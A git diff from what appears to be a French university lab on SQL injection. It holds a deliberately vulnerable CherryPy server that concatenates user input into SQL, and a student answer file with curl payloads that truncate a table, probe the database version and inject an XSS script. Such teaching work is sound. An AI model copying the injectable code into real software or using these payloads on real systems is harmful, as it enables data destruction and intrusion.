diff --git a/Makefile b/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..95fb266ef8caf0ab328a73ded35d62fed00b5782 --- /dev/null +++ b/Makefile @@ -0,0 +1,8 @@ +db: + docker-compose -f ./deployments/docker-compose.yml up -d db adminer + +up: + docker-compose -f ./deployments/docker-compose.yml up -d + +down: + docker-compose -f ./deployments/docker-compose.yml down diff --git a/README.md b/README.md index 0abeb165791bf316fc83508911cd62644494756d..b1d594365f7e68ee0bcb2526c636c92d90ee0914 100644 --- a/README.md +++ b/README.md @@ -62,9 +62,7 @@ Pour créer la table qui servira à l'application, connectez vous à votre base ``` CREATE TABLE chaines ( id int NOT NULL AUTO_INCREMENT, - txt varchar(255) not null, - who varchar(255) not null, - PRIMARY KEY(id) + txt varchar(255) not null, PRIMARY KEY(id) ); ``` @@ -102,8 +100,6 @@ Ensuite, allez sur `http://localhost:8080` avec votre navigateur, et testez le f * Regardez le source de la page web * Regardez le source du programme serveur.py -L'application permet d'inserer des chaines dans une table de la base de données (dans la colonne txt), tout en loggant l'adresse IP de la personne ayant envoyé cette chaine (dans la colonne who) - Vous pouvez regarder la documentation de CherryPy sur https://cherrypy.org/ et la documentation du connecteur MySQL python sur https://dev.mysql.com/doc/connector-python/en/ ### Trouver une première vulnérabilité (injection SQL) @@ -118,11 +114,6 @@ requete = "SELECT * FROM table WHERE champ='" + valeur "';" Si la valeur donnée par l'utilisateur est: `'; <autre commande SQL>; --`, alors la variable requete aura la valeur suivante: `SELECT * FROM table WHERE champ=''; <autre commande SQL>; --';` et l'autre commande SQL sera executée. -Sans rajouter de deuxieme commmande à executer, il est possible en général d'altérer la requete SQL pour pouvoir faire des comportements qui n'ont pas été prévus. - -Ainsi, par exemple, si la valeur donnée par l'utilisateur est `' OR 1=1 --`, alors -la requete SQL executée sera: `SELECT * FROM table WHERE champ='' OR 1=1`, ce qui renverra toute les données de la table. - Examinez le source `serveur.py` pour trouver une vulnérabilité d'injection SQL. Pour vous aider, vous pouvez aussi afficher la requête MySQL en rajoutant un `print(requete)` dans la méthode `index`. Examinez le source de la page web depuis votre navigateur. Un mécanisme a été mis en place pour tenter d'empecher l'exploitation de la vulnérabilité. @@ -140,7 +131,7 @@ Essayez d'insérer dans la base de données des chaines qui comportent des carac #### Question 3 : Exploitation de la vulnérabilité -En utilisant `curl`, et si besoin après avoir révisé le cours sur les injections SQL, réalisez une injection SQL qui insérer une chaine dans la base de données, tout en faisant en sorte que le champ `who` soit rempli avec ce que vous aurez décidé (et non pas votre adresse IP). Verifiez que cela a fonctionné ensuite. +En utilisant `curl`, et si besoin après avoir révisé le cours sur les injections SQL, réalisez une injection SQL qui va effacer tout le contenu de la table. Vérifiez ensuite que cela a fonctionné et que votre table est vide. L'exploitation d'injections SQL n'est pas limitée à la destruction de données. En supposant l'existence d'une autre table dans la base, imaginez un moyen d'utiliser cette faille d'injection SQL pour obtenir des informations sur les données de cette autre table (il n'est pas demandé de l'implémenter, mais d'expliquer une approche envisageable) diff --git a/config.py b/config.py index 7c9fd2f3e717013a573278e555f660c185e2e44d..536fd13398fd84fe5e4a15d2ec00d88ac965a399 100644 --- a/config.py +++ b/config.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 -DB_HOST="localhost" -DB_USER="isi" -DB_NAME="isi" -DB_PASS="toto" +DB_HOST="10.1.0.2" +DB_USER="pouet" +DB_NAME="isitp" +DB_PASS="pouet" diff --git a/deployments/Dockerfile b/deployments/Dockerfile new file mode 100644 index 0000000000000000000000000000000000000000..dbc708e36bd63ace90436182f4e83b9aac125c13 --- /dev/null +++ b/deployments/Dockerfile @@ -0,0 +1,14 @@ +# set base image (host OS) +FROM python + +# set the working directory in the container +WORKDIR /app + +# copy the content of the local src directory to the working directory +COPY . . + +# install dependencies +RUN pip install -r requirements.txt + +# command to run on container start +CMD [ "python3", "serveur.py" ] diff --git a/deployments/docker-compose.yml b/deployments/docker-compose.yml new file mode 100644 index 0000000000000000000000000000000000000000..b7875dcd3cbcad27f2b17e636e46c482288ef077 --- /dev/null +++ b/deployments/docker-compose.yml @@ -0,0 +1,52 @@ +version: '3.3' + +networks: + isi: + ipam: + driver: default + config: + - subnet: 10.1.0.0/24 + +services: + db: + image: mysql + volumes: + - ./init.sql:/docker-entrypoint-initdb.d/init.sql + restart: always + environment: + MYSQL_ROOT_USER: root + MYSQL_ROOT_PASSWORD: root + MYSQL_DATABASE: isitp + MYSQL_USER: pouet + MYSQL_PASSWORD: pouet + ports: + - "3306:3306" + networks: + isi: + ipv4_address: "10.1.0.2" + + web: + image: isi2_web:0.1.0 + restart: always + build: + context: .. + dockerfile: /home/ubuntu/TPs/isi-tp2/deployments/Dockerfile + #restart: always + ports: + - "8080:8080" + depends_on: + - db + networks: + isi: + ipv4_address: "10.1.0.3" + + adminer: + image: adminer + restart: always + ports: + - "8000:8080" + networks: + isi: + ipv4_address: "10.1.0.4" + + diff --git a/deployments/init.sql b/deployments/init.sql new file mode 100644 index 0000000000000000000000000000000000000000..281713dc7a7b000f2d5ffceefcba4bf7806dce5b --- /dev/null +++ b/deployments/init.sql @@ -0,0 +1,7 @@ +CREATE DATABASE IF NOT EXISTS isitp; +USE isitp; +CREATE TABLE chaines( + id int NOT NULL AUTO_INCREMENT, + txt varchar(255) not null, + PRIMARY KEY(id) +); diff --git a/rendu.md b/rendu.md index 5d3272c9d1ec3fe2bc305765d499a9ffbcd722fd..6d9fe08eab4103d8142f150f20fca0f6f158ccc7 100644 --- a/rendu.md +++ b/rendu.md @@ -8,21 +8,33 @@ Nom, Prénom, email: ___ ## Question 1 -* Quel est ce mécanisme? +* Le mécanisme utilisé est un controle grâce à une regex. On ne peut entrer que des chiffres ou des lettres. -* Est-il efficace? Pourquoi? +* Oui, car on ne peut pas échapper les chaines de caractères. +* Revoir avec la commande curl ## Question 2 * Votre commande curl +- curl -X POST -d "chaine=Mohamed" http://172.28.101.47:8080/ +- curl -X POST -d "chaine=Mohamed@Selim" http://172.28.101.47:8080/ + ## Question 3 * Votre commande curl pour effacer la table +- curl -X POST -d "chaine=%22%29%3B+TRUNCATE+TABLE+chaines%3B--" http://172.28.101.47:8080/ +- curl -X POST -d 'chaine=");+TRUNCATE+TABLE+chaines%3B--' http://172.28.101.47:8080/ + * Expliquez comment obtenir des informations sur une autre table +curl -X POST -d "chaine=%22%29%3B+SELECT+@@version%3B" http://172.28.101.47:8080/ + + +- curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/ +- curl -X POST -d "chaine=%3Cscript%3Ealert%28%27bonjour%27%29%3C%2Fscript%3E" http://172.28.101.47:8080/ ## Question 4 Rendre un fichier server_correct.py avec la correction de la faille de diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..68d3c3937468cea810c061d3d1091f3d96593d42 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +cherrypy +mysql-connector-python diff --git a/serveur.py b/serveur.py index f81eaf98fc1cf0662493d493d4ffa7426234c624..a55baa465773284f1738130f341405d54a2fb79a 100755 --- a/serveur.py +++ b/serveur.py @@ -7,20 +7,20 @@ import config class VulnerableApp(object): def __init__(self): self.conn = mysql.connector.connect(host=config.DB_HOST, user=config.DB_USER, database=config.DB_NAME, password=config.DB_PASS) + return @cherrypy.expose def index(self, **post): cursor = self.conn.cursor() if cherrypy.request.method == "POST": - requete = "INSERT INTO chaines (txt,who) VALUES('" + post["chaine"] + "','" + cherrypy.request.remote.ip + "')" - print("req: [" + requete + "]") + requete = "INSERT INTO chaines (txt) VALUES(\"" + post["chaine"] + "\");" cursor.execute(requete) self.conn.commit() chaines = [] - cursor.execute("SELECT txt,who FROM chaines"); + cursor.execute("SELECT txt FROM chaines"); for row in cursor.fetchall(): - chaines.append(row[0] + " envoye par: " + row[1]) + chaines.append(row[0]) cursor.close() return ''' @@ -67,5 +67,5 @@ function validate() { ''' -cherrypy.quickstart(VulnerableApp()) +cherrypy.quickstart(VulnerableApp(), '/', {'global': {'server.socket_host':'0.0.0.0','server.socket_port': 8080}})